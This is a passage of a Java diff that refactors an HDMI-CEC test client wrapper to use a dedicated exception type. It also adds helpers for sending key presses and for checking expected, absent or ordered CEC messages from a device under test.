+            throw new CecClientWrapperException(ErrorCodes.CecClientStart);
         }
     }
 
-    private void checkCecClient() throws Exception {
+    private void checkCecClient() throws CecClientWrapperException {
         if (!mCecClientInitialised) {
-            throw new Exception("cec-client not initialised!");
+            throw new CecClientWrapperException(ErrorCodes.CecClientStart);
         }
         if (!mCecClient.isAlive()) {
-            throw new Exception("cec-client not running!");
+            throw new CecClientWrapperException(ErrorCodes.CecClientNotRunning);
         }
     }
 
@@ -175,15 +204,24 @@
      * Sends a CEC message with source marked as broadcast to the device passed in the constructor
      * through the output console of the cec-communication channel.
      */
-    public void sendCecMessage(CecOperand message) throws Exception {
-        sendCecMessage(LogicalAddress.BROADCAST, targetDevice, message, "");
+    public void sendCecMessage(CecOperand message) throws CecClientWrapperException {
+        sendCecMessage(message, "");
+    }
+
+    /**
+     * Sends a CEC message with source marked as broadcast to the device passed in the constructor
+     * through the output console of the cec-communication channel.
+     */
+    public void sendCecMessage(CecOperand message, String params) throws CecClientWrapperException {
+        sendCecMessage(LogicalAddress.BROADCAST, targetDevice, message, params);
     }
 
     /**
      * Sends a CEC message from source device to the device passed in the constructor through the
      * output console of the cec-communication channel.
      */
-    public void sendCecMessage(LogicalAddress source, CecOperand message) throws Exception {
+    public void sendCecMessage(LogicalAddress source, CecOperand message)
+            throws CecClientWrapperException {
         sendCecMessage(source, targetDevice, message, "");
     }
 
@@ -200,8 +238,9 @@
      * Sends a CEC message from source device to a destination device through the output console of
      * the cec-communication channel.
      */
-    public void sendCecMessage(LogicalAddress source, LogicalAddress destination,
-        CecOperand message) throws Exception {
+    public void sendCecMessage(
+            LogicalAddress source, LogicalAddress destination, CecOperand message)
+            throws CecClientWrapperException {
         sendCecMessage(source, destination, message, "");
     }
 
@@ -209,7 +248,7 @@
      * Broadcasts a CEC ACTIVE_SOURCE message from client device source through the output console
      * of the cec-communication channel.
      */
-    public void broadcastActiveSource(LogicalAddress source) throws Exception {
+    public void broadcastActiveSource(LogicalAddress source) throws CecClientWrapperException {
         int sourcePa = (source == selfDevice) ? physicalAddress : 0xFFFF;
         sendCecMessage(
                 source,
@@ -223,7 +262,7 @@
      * source through the output console of the cec-communication channel.
      */
     public void broadcastActiveSource(LogicalAddress source, int physicalAddressOfActiveDevice)
-            throws Exception {
+            throws CecClientWrapperException {
         sendCecMessage(
                 source,
                 LogicalAddress.BROADCAST,
@@ -236,7 +275,8 @@
      * Broadcasts a CEC REPORT_PHYSICAL_ADDRESS message from client device source through the output
      * console of the cec-communication channel.
      */
-    public void broadcastReportPhysicalAddress(LogicalAddress source) throws Exception {
+    public void broadcastReportPhysicalAddress(LogicalAddress source)
+            throws CecClientWrapperException {
         String deviceType = CecMessage.formatParams(source.getDeviceType());
         int sourcePa = (source == selfDevice) ? physicalAddress : 0xFFFF;
         String physicalAddress =
@@ -253,7 +293,7 @@
      * device source through the output console of the cec-communication channel.
      */
     public void broadcastReportPhysicalAddress(LogicalAddress source, int physicalAddressToReport)
-            throws Exception {
+            throws CecClientWrapperException {
         String deviceType = CecMessage.formatParams(source.getDeviceType());
         String physicalAddress =
                 CecMessage.formatParams(
@@ -269,14 +309,44 @@
      * Sends a CEC message from source device to a destination device through the output console of
      * the cec-communication channel with the appended params.
      */
-    public void sendCecMessage(LogicalAddress source, LogicalAddress destination,
-            CecOperand message, String params) throws Exception {
+    public void sendCecMessage(
+            LogicalAddress source, LogicalAddress destination, CecOperand message, String params)
+            throws CecClientWrapperException {
         checkCecClient();
         String sendMessageString = "tx " + source + destination + ":" + message + params;
-        CLog.v("Sending CEC message: " + sendMessageString);
-        mOutputConsole.write(sendMessageString);
-        mOutputConsole.newLine();
-        mOutputConsole.flush();
+        try {
+            CLog.v("Sending CEC message: " + sendMessageString);
+            mOutputConsole.write(sendMessageString);
+            mOutputConsole.newLine();
+            mOutputConsole.flush();
+        } catch (IOException ioe) {
+            throw new CecClientWrapperException(ErrorCodes.WriteConsole, ioe);
+        }
+    }
+
+    public void sendMultipleUserControlPressAndRelease(
+            LogicalAddress source, List<Integer> keycodes) throws CecClientWrapperException {
+        try {
+            for (int keycode : keycodes) {
+                String key = String.format("%02x", keycode);
+                mOutputConsole.write(
+                        "tx "
+                                + source
+                                + targetDevice
+                                + ":"
+                                + CecOperand.USER_CONTROL_PRESSED
+                                + ":"
+                                + key);
+                mOutputConsole.newLine();
+                mOutputConsole.write(
+                        "tx " + source + targetDevice + ":" + CecOperand.USER_CONTROL_RELEASED);
+                mOutputConsole.newLine();
+                mOutputConsole.flush();
+                TimeUnit.MILLISECONDS.sleep(200);
+            }
+        } catch (InterruptedException | IOException ioe) {
+            throw new CecClientWrapperException(ErrorCodes.WriteConsole, ioe);
+        }
     }
 
     /**
@@ -284,7 +354,7 @@
      * output console of the cec-communication channel with the mentioned keycode.
      */
     public void sendUserControlPressAndRelease(LogicalAddress source, int keycode, boolean holdKey)
-            throws Exception {
+            throws CecClientWrapperException {
         sendUserControlPressAndRelease(source, targetDevice, keycode, holdKey);
     }
 
@@ -292,14 +362,50 @@
      * Sends a <USER_CONTROL_PRESSED> and <USER_CONTROL_RELEASED> from source to destination
      * through the output console of the cec-communication channel with the mentioned keycode.
      */
-    public void sendUserControlPressAndRelease(LogicalAddress source, LogicalAddress destination,
-            int keycode, boolean holdKey) throws Exception {
+    public void sendUserControlPressAndRelease(
+            LogicalAddress source, LogicalAddress destination, int keycode, boolean holdKey)
+            throws CecClientWrapperException {
         sendUserControlPress(source, destination, keycode, holdKey);
-        /* Sleep less than 200ms between press and release */
-        TimeUnit.MILLISECONDS.sleep(100);
-        mOutputConsole.write("tx " + source + destination + ":" +
-                              CecOperand.USER_CONTROL_RELEASED);
-        mOutputConsole.flush();
+        try {
+            /* Sleep less than 200ms between press and release */
+            TimeUnit.MILLISECONDS.sleep(100);
+            mOutputConsole.write(
+                    "tx " + source + destination + ":" + CecOperand.USER_CONTROL_RELEASED);
+            mOutputConsole.flush();
+        } catch (IOException | InterruptedException ioe) {
+            throw new CecClientWrapperException(ErrorCodes.WriteConsole, ioe);
+        }
+    }
+
+    /**
+     * Sends a {@code <UCP>} with and additional param. This is used to check that the DUT ignores
+     * additional params in an otherwise correct message.
+     */
+    public void sendUserControlPressAndReleaseWithAdditionalParams(
+            LogicalAddress source, LogicalAddress destination, int keyCode, int additionalParam)
+            throws CecClientWrapperException {
+        String key = String.format("%02x", keyCode);
+        String command =
+                "tx "
+                        + source
+                        + destination
+                        + ":"
+                        + CecOperand.USER_CONTROL_PRESSED
+                        + ":"
+                        + key
+                        + ":"
+                        + additionalParam;
+
+        try {
+            mOutputConsole.write(command);
+            mOutputConsole.newLine();
+            mOutputConsole.write(
+                    "tx " + source + destination + ":" + CecOperand.USER_CONTROL_RELEASED);
+            mOutputConsole.newLine();
+            mOutputConsole.flush();
+        } catch (IOException ioe) {
+            throw new CecClientWrapperException(ErrorCodes.WriteConsole, ioe);
+        }
     }
 
     /**
@@ -307,41 +413,54 @@
      * cec-communication channel with the mentioned keycode. If holdKey is true, the method will
      * send multiple <UCP> messages to simulate a long press. No <UCR> will be sent.
      */
-    public void sendUserControlPress(LogicalAddress source, LogicalAddress destination,
-            int keycode, boolean holdKey) throws Exception {
+    public void sendUserControlPress(
+            LogicalAddress source, LogicalAddress destination, int keycode, boolean holdKey)
+            throws CecClientWrapperException {
         String key = String.format("%02x", keycode);
         String command = "tx " + source + destination + ":" +
                 CecOperand.USER_CONTROL_PRESSED + ":" + key;
 
-        if (holdKey) {
-            /* Repeat once every 450ms for at least 5 seconds. Send 11 times in loop every
-             * 450ms. The message is sent once after the loop as well.
-             * ((11 + 1) * 0.45 = 5.4s total) */
-            int repeat = 11;
-            for (int i = 0; i < repeat; i++) {
-                mOutputConsole.write(command);
-                mOutputConsole.newLine();
-                mOutputConsole.flush();
-                TimeUnit.MILLISECONDS.sleep(450);
+        try {
+            if (holdKey) {
+                /* Repeat once every 450ms for at least 5 seconds. Send 11 times in loop every
+                 * 450ms. The message is sent once after the loop as well.
+                 * ((11 + 1) * 0.45 = 5.4s total) */
+                int repeat = 11;
+                for (int i = 0; i < repeat; i++) {
+                    mOutputConsole.write(command);
+                    mOutputConsole.newLine();
+                    mOutputConsole.flush();
+                    TimeUnit.MILLISECONDS.sleep(450);
+                }
             }
-        }
 
-        mOutputConsole.write(command);
-        mOutputConsole.newLine();
-        mOutputConsole.flush();
+            mOutputConsole.write(command);
+            mOutputConsole.newLine();
+            mOutputConsole.flush();
+        } catch (IOException | InterruptedException ioe) {
+            throw new CecClientWrapperException(ErrorCodes.WriteConsole, ioe);
+        }
     }
 
     /**
      * Sends a series of <UCP> [firstKeycode] from source to destination through the output console
      * of the cec-communication channel immediately followed by <UCP> [secondKeycode]. No <UCR>
-     *  message is sent.
+     * message is sent.
      */
     public void sendUserControlInterruptedPressAndHold(
-        LogicalAddress source, LogicalAddress destination,
-            int firstKeycode, int secondKeycode, boolean holdKey) throws Exception {
+            LogicalAddress source,
+            LogicalAddress destination,
+            int firstKeycode,
+            int secondKeycode,
+            boolean holdKey)
+            throws CecClientWrapperException {
         sendUserControlPress(source, destination, firstKeycode, holdKey);
-        /* Sleep less than 200ms between press and release */
-        TimeUnit.MILLISECONDS.sleep(100);
+        try {
+            /* Sleep less than 200ms between press and release */
+            TimeUnit.MILLISECONDS.sleep(100);
+        } catch (InterruptedException ie) {
+            throw new CecClientWrapperException(ErrorCodes.WriteConsole, ie);
+        }
         sendUserControlPress(source, destination, secondKeycode, false);
     }
 
@@ -358,21 +477,30 @@
 
 
     /** Sends a message to the output console of the cec-client */
-    public void sendConsoleMessage(String message) throws Exception {
-        checkCecClient();
+    public void sendConsoleMessage(String message) throws CecClientWrapperException {
+        sendConsoleMessage(message, mOutputConsole);
+    }
+
+    /** Sends a message to the output console of the cec-client */
+    public void sendConsoleMessage(String message, BufferedWriter outputConsole)
+            throws CecClientWrapperException {
         CLog.v("Sending console message:: " + message);
-        mOutputConsole.write(message);
-        mOutputConsole.flush();
+        try {
+            outputConsole.write(message);
+            outputConsole.flush();
+        } catch (IOException ioe) {
+            throw new CecClientWrapperException(ErrorCodes.WriteConsole, ioe);
+        }
     }
 
     /** Check for any string on the input console of the cec-client, uses default timeout */
-    public boolean checkConsoleOutput(String expectedMessage) throws Exception {
+    public boolean checkConsoleOutput(String expectedMessage) throws CecClientWrapperException {
         return checkConsoleOutput(expectedMessage, DEFAULT_TIMEOUT);
     }
 
     /** Check for any string on the input console of the cec-client */
-    public boolean checkConsoleOutput(String expectedMessage,
-                                       long timeoutMillis) throws Exception {
+    public boolean checkConsoleOutput(String expectedMessage, long timeoutMillis)
+            throws CecClientWrapperException {
         checkCecClient();
         return checkConsoleOutput(expectedMessage, timeoutMillis, mInputConsole);
     }
@@ -380,19 +508,24 @@
     /** Check for any string on the specified input console */
     public boolean checkConsoleOutput(
             String expectedMessage, long timeoutMillis, BufferedReader inputConsole)
-            throws Exception {
+            throws CecClientWrapperException {
         long startTime = System.currentTimeMillis();
         long endTime = startTime;
 
         while ((endTime - startTime <= timeoutMillis)) {
-            if (inputConsole.ready()) {
-                String line = inputConsole.readLine();
-                if (line != null && line.toLowerCase().contains(expectedMessage.toLowerCase())) {
-                    CLog.v("Found " + expectedMessage + " in " + line);
-                    return true;
-                } else if (line.toLowerCase().contains(CEC_PORT_BUSY.toLowerCase())) {
-                    throw new CecPortBusyException();
+            try {
+                if (inputConsole.ready()) {
+                    String line = inputConsole.readLine();
+                    if (line != null
+                            && line.toLowerCase().contains(expectedMessage.toLowerCase())) {
+                        CLog.v("Found " + expectedMessage + " in " + line);
+                        return true;
+                    } else if (line.toLowerCase().contains(CEC_PORT_BUSY.toLowerCase())) {
+                        throw new CecClientWrapperException(ErrorCodes.CecPortBusy);
+                    }
                 }
+            } catch (IOException ioe) {
+                throw new CecClientWrapperException(ErrorCodes.ReadConsole, ioe);
             }
             endTime = System.currentTimeMillis();
         }
@@ -403,7 +536,7 @@
      * duration seconds.
      */
     public List<CecOperand> getAllMessages(List<LogicalAddress> sourceList, int duration)
-            throws Exception {
+            throws CecClientWrapperException {
         List<CecOperand> receivedOperands = new ArrayList<>();
         long startTime = System.currentTimeMillis();
         long endTime = startTime;
@@ -415,14 +548,18 @@
             Pattern.CASE_INSENSITIVE);
 
         while ((endTime - startTime <= (duration * 1000))) {
-            if (mInputConsole.ready()) {
-                String line = mInputConsole.readLine();
-                if (pattern.matcher(line).matches()) {
-                    CecOperand operand = CecMessage.getOperand(line);
-                    if (!receivedOperands.contains(operand)) {
-                        receivedOperands.add(operand);
+            try {
+                if (mInputConsole.ready()) {
+                    String line = mInputConsole.readLine();
+                    if (pattern.matcher(line).matches()) {
+                        CecOperand operand = CecMessage.getOperand(line);
+                        if (!receivedOperands.contains(operand)) {
+                            receivedOperands.add(operand);
+                        }
                     }
                 }
+            } catch (IOException ioe) {
+                throw new CecClientWrapperException(ErrorCodes.ReadConsole, ioe);
             }
             endTime = System.currentTimeMillis();
         }
@@ -434,7 +571,7 @@
      * during a period of duration seconds.
      */
     public List<LogicalAddress> getAllDestLogicalAddresses(CecOperand expectedMessage, int duration)
-            throws Exception {
+            throws CecClientWrapperException {
         return getAllDestLogicalAddresses(expectedMessage, "", duration);
     }
 
@@ -443,7 +580,8 @@
      * params during a period of duration seconds.
      */
     public List<LogicalAddress> getAllDestLogicalAddresses(
-            CecOperand expectedMessage, String params, int duration) throws Exception {
+            CecOperand expectedMessage, String params, int duration)
+            throws CecClientWrapperException {
         List<LogicalAddress> destinationAddresses = new ArrayList<>();
         long startTime = System.currentTimeMillis();
         long endTime = startTime;
@@ -453,14 +591,18 @@
                         Pattern.CASE_INSENSITIVE);
 
         while ((endTime - startTime <= (duration * 1000))) {
-            if (mInputConsole.ready()) {
-                String line = mInputConsole.readLine();
-                if (pattern.matcher(line).matches()) {
-                    LogicalAddress destination = CecMessage.getDestination(line);
-                    if (!destinationAddresses.contains(destination)) {
-                        destinationAddresses.add(destination);
+            try {
+                if (mInputConsole.ready()) {
+                    String line = mInputConsole.readLine();
+                    if (pattern.matcher(line).matches()) {
+                        LogicalAddress destination = CecMessage.getDestination(line);
+                        if (!destinationAddresses.contains(destination)) {
+                            destinationAddresses.add(destination);
+                        }
                     }
                 }
+            } catch (IOException ioe) {
+                throw new CecClientWrapperException(ErrorCodes.ReadConsole, ioe);
             }
             endTime = System.currentTimeMillis();
         }
@@ -468,32 +610,54 @@
     }
 
     /**
+     * The next checkExpectedOutput calls will also permit a feature abort as an alternate to the
+     * expected operand. The feature abort will be permissible if it has
+     *
+     * @param abortForOperand The operand for which the feature abort could be an allowed response
+     * @param reasons List of allowed reasons that the feature abort message could have
+     */
+    private void setExpectFeatureAbortFor(CecOperand abortOperand, Integer... abortReasons) {
+        isFeatureAbortExpected = true;
+        featureAbortOperand = abortOperand;
+        featureAbortReasons = Arrays.asList(abortReasons);
+    }
+
+    /** Removes feature abort as a permissible alternate response for {@link checkExpectedOutput} */
+    private void unsetExpectFeatureAbort() {
+        isFeatureAbortExpected = false;
+        CecOperand featureAbortOperand = CecOperand.FEATURE_ABORT;
+        List<Integer> featureAbortReasons = new ArrayList<>(HdmiCecConstants.ABORT_INVALID_OPERAND);
+    }
+
+    /**
      * Looks for the CEC expectedMessage broadcast on the cec-client communication channel and
      * returns the first line that contains that message within default timeout. If the CEC message
-     * is not found within the timeout, an exception is thrown.
+     * is not found within the timeout, an CecClientWrapperException is thrown.
      */
-    public String checkExpectedOutput(CecOperand expectedMessage) throws Exception {
+    public String checkExpectedOutput(CecOperand expectedMessage) throws CecClientWrapperException {
         return checkExpectedOutput(
                 targetDevice, LogicalAddress.BROADCAST, expectedMessage, DEFAULT_TIMEOUT, false);
     }
 
     /**
-     * Looks for the CEC expectedMessage sent to CEC device toDevice on the cec-client
-     * communication channel and returns the first line that contains that message within
-     * default timeout. If the CEC message is not found within the timeout, an exception is thrown.
+     * Looks for the CEC expectedMessage sent to CEC device toDevice on the cec-client communication
+     * channel and returns the first line that contains that message within default timeout. If the
+     * CEC message is not found within the timeout, an CecClientWrapperException is thrown.
      */
-    public String checkExpectedOutput(LogicalAddress toDevice,
-                                      CecOperand expectedMessage) throws Exception {
+    public String checkExpectedOutput(LogicalAddress toDevice, CecOperand expectedMessage)
+            throws CecClientWrapperException {
         return checkExpectedOutput(targetDevice, toDevice, expectedMessage, DEFAULT_TIMEOUT, false);
     }
 
     /**
      * Looks for the broadcasted CEC expectedMessage sent from cec-client device fromDevice on the
      * cec-client communication channel and returns the first line that contains that message within
-     * default timeout. If the CEC message is not found within the timeout, an exception is thrown.
+     * default timeout. If the CEC message is not found within the timeout, an
+     * CecClientWrapperException is thrown.
      */
     public String checkExpectedMessageFromClient(
-            LogicalAddress fromDevice, CecOperand expectedMessage) throws Exception {
+            LogicalAddress fromDevice, CecOperand expectedMessage)
+            throws CecClientWrapperException {
         return checkExpectedMessageFromClient(
                 fromDevice, LogicalAddress.BROADCAST, expectedMessage);
     }
@@ -502,41 +666,63 @@
      * Looks for the CEC expectedMessage sent from cec-client device fromDevice to CEC device
      * toDevice on the cec-client communication channel and returns the first line that contains
      * that message within default timeout. If the CEC message is not found within the timeout, an
-     * exception is thrown.
+     * CecClientWrapperException is thrown.
      */
     public String checkExpectedMessageFromClient(
             LogicalAddress fromDevice, LogicalAddress toDevice, CecOperand expectedMessage)
-            throws Exception {
+            throws CecClientWrapperException {
         return checkExpectedOutput(fromDevice, toDevice, expectedMessage, DEFAULT_TIMEOUT, true);
     }
 
     /**
-     * Looks for the CEC expectedMessage broadcast on the cec-client communication channel and
-     * returns the first line that contains that message within timeoutMillis. If the CEC message
-     * is not found within the timeout, an exception is thrown.
+     * Looks for the CEC expectedMessage or a {@code <Feature Abort>} for {@code
+     * featureAbortOperand} with one of the abort reasons in {@code abortReason} is sent from
+     * cec-client device fromDevice to the DUT on the cec-client communication channel and returns
+     * the first line that contains that message within default timeout. If the CEC message is not
+     * found within the timeout, a CecClientWrapperException is thrown.
      */
-    public String checkExpectedOutput(CecOperand expectedMessage,
-                                      long timeoutMillis) throws Exception {
+    public String checkExpectedOutputOrFeatureAbort(
+            LogicalAddress fromDevice,
+            CecOperand expectedMessage,
+            CecOperand featureAbortOperand,
+            Integer... featureAbortReasons)
+            throws CecClientWrapperException {
+        setExpectFeatureAbortFor(featureAbortOperand, featureAbortReasons);
+        String message =
+                checkExpectedOutput(
+                        targetDevice, fromDevice, expectedMessage, DEFAULT_TIMEOUT, false);
+        unsetExpectFeatureAbort();
+        return message;
+    }
+
+    /**
+     * Looks for the CEC expectedMessage broadcast on the cec-client communication channel and
+     * returns the first line that contains that message within timeoutMillis. If the CEC message is
+     * not found within the timeout, an CecClientWrapperException is thrown.
+     */
+    public String checkExpectedOutput(CecOperand expectedMessage, long timeoutMillis)
+            throws CecClientWrapperException {
         return checkExpectedOutput(
                 targetDevice, LogicalAddress.BROADCAST, expectedMessage, timeoutMillis, false);
     }
 
     /**
-     * Looks for the CEC expectedMessage sent to CEC device toDevice on the cec-client
-     * communication channel and returns the first line that contains that message within
-     * timeoutMillis. If the CEC message is not found within the timeout, an exception is thrown.
+     * Looks for the CEC expectedMessage sent to CEC device toDevice on the cec-client communication
+     * channel and returns the first line that contains that message within timeoutMillis. If the
+     * CEC message is not found within the timeout, an CecClientWrapperException is thrown.
      */
-    public String checkExpectedOutput(LogicalAddress toDevice, CecOperand expectedMessage,
-                                       long timeoutMillis) throws Exception {
+    public String checkExpectedOutput(
+            LogicalAddress toDevice, CecOperand expectedMessage, long timeoutMillis)
+            throws CecClientWrapperException {
         return checkExpectedOutput(targetDevice, toDevice, expectedMessage, timeoutMillis, false);
     }
 
     /**
      * Looks for the CEC expectedMessage sent from CEC device fromDevice to CEC device toDevice on
      * the cec-client communication channel and returns the first line that contains that message
-     * within timeoutMillis. If the CEC message is not found within the timeout, an exception is
-     * thrown. This method looks for the CEC messages coming from Cec-client if fromCecClient is
-     * true.
+     * within timeoutMillis. If the CEC message is not found within the timeout, an
+     * CecClientWrapperException is thrown. This method looks for the CEC messages coming from
+     * Cec-client if fromCecClient is true.
      */
     public String checkExpectedOutput(
             LogicalAddress fromDevice,
@@ -544,81 +730,147 @@
             CecOperand expectedMessage,
             long timeoutMillis,
             boolean fromCecClient)
-            throws Exception {
+            throws CecClientWrapperException {
         checkCecClient();
         long startTime = System.currentTimeMillis();
         long endTime = startTime;
         String direction = fromCecClient ? "<<" : ">>";
-        Pattern pattern =
-                Pattern.compile(
-                        "(.*"
-                                + direction
-                                + ")(.*?)"
-                                + "("
-                                + fromDevice
-                                + toDevice
-                                + "):"
-                                + "("
-                                + expectedMessage
-                                + ")(.*)",
-                        Pattern.CASE_INSENSITIVE);
-
+        Pattern pattern;
+        if (expectedMessage == CecOperand.POLL) {
+            pattern =
+                    Pattern.compile(
+                            "(.*"
+                                    + direction
+                                    + ")(.*?)"
+                                    + "("
+                                    + fromDevice
+                                    + toDevice
+                                    + ")(.*)",
+                            Pattern.CASE_INSENSITIVE);
+        } else {
+            String expectedOperands = expectedMessage.toString();
+            if (isFeatureAbortExpected) {
+                expectedOperands += "|" + CecOperand.FEATURE_ABORT;
+            }
+            pattern =
+                    Pattern.compile(
+                            "(.*"
+                                    + direction
+                                    + ")(.*?)"
+                                    + "("
+                                    + fromDevice
+                                    + toDevice
+                                    + "):"
+                                    + "("
+                                    + expectedOperands
+                                    + ")(.*)",
+                            Pattern.CASE_INSENSITIVE);
+        }
         while ((endTime - startTime <= timeoutMillis)) {
-            if (mInputConsole.ready()) {
-                String line = mInputConsole.readLine();
-                if (pattern.matcher(line).matches()) {
-                    CLog.v("Found " + expectedMessage.name() + " in " + line);
-                    return line;
+            try {
+                if (mInputConsole.ready()) {
+                    String line = mInputConsole.readLine();
+                    if (pattern.matcher(line).matches()) {
+                        if (isFeatureAbortExpected
+                                && CecMessage.getOperand(line) == CecOperand.FEATURE_ABORT) {
+                            CecOperand featureAbortedFor =
+                                    CecOperand.getOperand(CecMessage.getParams(line, 0, 2));
+                            int reason = CecMessage.getParams(line, 2, 4);
+                            if (featureAbortedFor == featureAbortOperand
+                                    && featureAbortReasons.contains(reason)) {
+                                return line;
+                            } else {
+                                continue;
+                            }
+                        }
+                        CLog.v("Found " + expectedMessage.name() + " in " + line);
+                        return line;
+                    }
                 }
+            } catch (IOException ioe) {
+                throw new CecClientWrapperException(ErrorCodes.ReadConsole, ioe);
             }
             endTime = System.currentTimeMillis();
         }
-        throw new Exception("Could not find message " + expectedMessage.name());
+        throw new CecClientWrapperException(ErrorCodes.CecMessageNotFound, expectedMessage.name());
+    }
+
+    public void checkNoMessagesSentFromDevice(int timeoutMillis)
+            throws CecClientWrapperException {
+        checkCecClient();
+        long startTime = System.currentTimeMillis();
+        long endTime = startTime;
+        Pattern pattern =
+                Pattern.compile("(.*>>)(.*?)("
+                                + targetDevice
+                                + "\\p{XDigit}):(.*)",
+                        Pattern.CASE_INSENSITIVE);
+        while ((endTime - startTime <= timeoutMillis)) {
+            try {
+                if (mInputConsole.ready()) {
+                    String line = mInputConsole.readLine();
+                    if (pattern.matcher(line).matches()) {
+                        CLog.v("Found unexpected message in " + line);
+                        throw new CecClientWrapperException(
+                                ErrorCodes.CecMessageFound,
+                                CecMessage.getOperand(line)
+                                        + " from "
+                                        + targetDevice
+                                        + " with params "
+                                        + CecMessage.getParamsAsString(line));
+                    }
+                }
+            } catch (IOException ioe) {
+                throw new CecClientWrapperException(ErrorCodes.ReadConsole, ioe);
+            }
+            endTime = System.currentTimeMillis();
+        }
     }
 
     /**
      * Looks for the CEC message incorrectMessage sent to CEC device toDevice on the cec-client
-     * communication channel and throws an exception if it finds the line that contains the message
-     * within the default timeout. If the CEC message is not found within the timeout, function
-     * returns without error.
+     * communication channel and throws an CecClientWrapperException if it finds the line that
+     * contains the message within the default timeout. If the CEC message is not found within the
+     * timeout, function returns without error.
      */
-    public void checkOutputDoesNotContainMessage(LogicalAddress toDevice,
-            CecOperand incorrectMessage) throws Exception {
+    public void checkOutputDoesNotContainMessage(
+            LogicalAddress toDevice, CecOperand incorrectMessage) throws CecClientWrapperException {
         checkOutputDoesNotContainMessage(toDevice, incorrectMessage, "", DEFAULT_TIMEOUT);
      }
 
     /**
      * Looks for the CEC message incorrectMessage along with the params sent to CEC device toDevice
-     * on the cec-client communication channel and throws an exception if it finds the line that
-     * contains the message with its params within the default timeout. If the CEC message is not
-     * found within the timeout, function returns without error.
+     * on the cec-client communication channel and throws an CecClientWrapperException if it finds
+     * the line that contains the message with its params within the default timeout. If the CEC
+     * message is not found within the timeout, function returns without error.
      */
     public void checkOutputDoesNotContainMessage(
-            LogicalAddress toDevice, CecOperand incorrectMessage, String params) throws Exception {
+            LogicalAddress toDevice, CecOperand incorrectMessage, String params)
+            throws CecClientWrapperException {
         checkOutputDoesNotContainMessage(toDevice, incorrectMessage, params, DEFAULT_TIMEOUT);
     }
 
     /**
      * Looks for the CEC message incorrectMessage sent to CEC device toDevice on the cec-client
-     * communication channel and throws an exception if it finds the line that contains the message
-     * within timeoutMillis. If the CEC message is not found within the timeout, function returns
-     * without error.
+     * communication channel and throws an CecClientWrapperException if it finds the line that
+     * contains the message within timeoutMillis. If the CEC message is not found within the
+     * timeout, function returns without error.
      */
     public void checkOutputDoesNotContainMessage(
             LogicalAddress toDevice, CecOperand incorrectMessage, long timeoutMillis)
-            throws Exception {
+            throws CecClientWrapperException {
         checkOutputDoesNotContainMessage(toDevice, incorrectMessage, "", timeoutMillis);
     }
 
     /**
      * Looks for the CEC message incorrectMessage along with the params sent to CEC device toDevice
-     * on the cec-client communication channel and throws an exception if it finds the line that
-     * contains the message and params within timeoutMillis. If the CEC message is not found within
-     * the timeout, function returns without error.
+     * on the cec-client communication channel and throws an CecClientWrapperException if it finds
+     * the line that contains the message and params within timeoutMillis. If the CEC message is not
+     * found within the timeout, function returns without error.
      */
     public void checkOutputDoesNotContainMessage(
             LogicalAddress toDevice, CecOperand incorrectMessage, String params, long timeoutMillis)
-            throws Exception {
+            throws CecClientWrapperException {
         checkCecClient();
         long startTime = System.currentTimeMillis();
         long endTime = startTime;
@@ -636,25 +888,164 @@
                         Pattern.CASE_INSENSITIVE);
 
         while ((endTime - startTime <= timeoutMillis)) {
-            if (mInputConsole.ready()) {
-                String line = mInputConsole.readLine();
-                if (pattern.matcher(line).matches()) {
-                    CLog.v("Found " + incorrectMessage.name() + " in " + line);
-                    throw new Exception("Found " + incorrectMessage.name() + " to " + toDevice +
-                            " with params " + CecMessage.getParamsAsString(line));
+            try {
+                if (mInputConsole.ready()) {
+                    String line = mInputConsole.readLine();
+                    if (pattern.matcher(line).matches()) {
+                        CLog.v("Found " + incorrectMessage.name() + " in " + line);
+                        throw new CecClientWrapperException(
+                                ErrorCodes.CecMessageFound,
+                                incorrectMessage.name()
+                                        + " to "
+                                        + toDevice
+                                        + " with params "
+                                        + CecMessage.getParamsAsString(line));
+                    }
                 }
+            } catch (IOException ioe) {
+                throw new CecClientWrapperException(ErrorCodes.ReadConsole, ioe);
             }
             endTime = System.currentTimeMillis();
         }
      }
 
+    /**
+     * Checks that one of the message from the {@code primaryMessages} is broadcasted from target
+     * device before sending any of the messages from the {@code secondaryMessages} on the
+     * cec-client communication channel within default time.
+     *
+     * @param primaryMessages   list of CEC messages out of which at least one is expected from the
+     *                          target device.
+     * @param secondaryMessages list of CEC messages that are not expected before primary messages
+     *                          to be sent from the target device.
+     * @return the first line that contains any of the primaryMessages.
+     * If none of the {@code primaryMessages} are found or if any of the {@code secondaryMessages}
+     * are found, exception is thrown.
+     */
+    public String checkMessagesInOrder(
+            List<CecOperand> primaryMessages,
+            List<String> secondaryMessages)
+            throws CecClientWrapperException {
+        return checkMessagesInOrder(LogicalAddress.BROADCAST, primaryMessages, secondaryMessages);
+    }
+
+    /**
+     * Checks that one of the message from the {@code primaryMessages} is sent from target
+     * device to destination before sending any of the messages from the {@code secondaryMessages}
+     * on the cec-client communication channel within default time.
+     *
+     * @param destination       logical address of the destination device.
+     * @param primaryMessages   list of CEC messages out of which at least one is expected from the
+     *                          target device.
+     * @param secondaryMessages list of CEC messages that are not expected before primary messages
+     *                          to be sent from the target device.
+     * @return the first line that contains any of the primaryMessages.
+     * If none of the {@code primaryMessages} are found or if any of the {@code secondaryMessages}
+     * are found, exception is thrown.
+     */
+    public String checkMessagesInOrder(
+            LogicalAddress destination,
+            List<CecOperand> primaryMessages,
+            List<String> secondaryMessages)
+            throws CecClientWrapperException {
+        return checkMessagesInOrder(
+                destination, primaryMessages, secondaryMessages, DEFAULT_TIMEOUT);
+    }
+
+    /**
+     * Checks that one of the message from the {@code primaryMessages} is sent from target
+     * device to destination before sending any of the messages from the {@code secondaryMessages}
+     * on the cec-client communication channel within give time.
+     *
+     * @param destination       logical address of the destination device.
+     * @param primaryMessages   list of CEC messages out of which at least one is expected from the
+     *                          target device.
+     * @param secondaryMessages list of CEC messages that are not expected before primary messages
+     *                          to be sent from the target device.
+     * @param timeoutMillis     timeout to monitor CEC messages from source device.
+     * @return the first line that contains any of the primaryMessages.
+     * If none of the {@code primaryMessages} are found or if any of the {@code secondaryMessages}
+     * are found, exception is thrown.
+     */
+    public String checkMessagesInOrder(
+            LogicalAddress destination,
+            List<CecOperand> primaryMessages,
+            List<String> secondaryMessages,
+            long timeoutMillis)
+            throws CecClientWrapperException {
+        return checkMessagesInOrder(
+                targetDevice, destination, primaryMessages, secondaryMessages, timeoutMillis);
+    }
+
+    /**
+     * Checks that one of the message from the {@code primaryMessages} is sent from source device to
+     * destination before sending any of the messages from the {@code secondaryMessages}
+     * on the cec-client communication channel within give time.
+     *
+     * @param source            logical address of the source device.
+     * @param destination       logical address of the destination device.
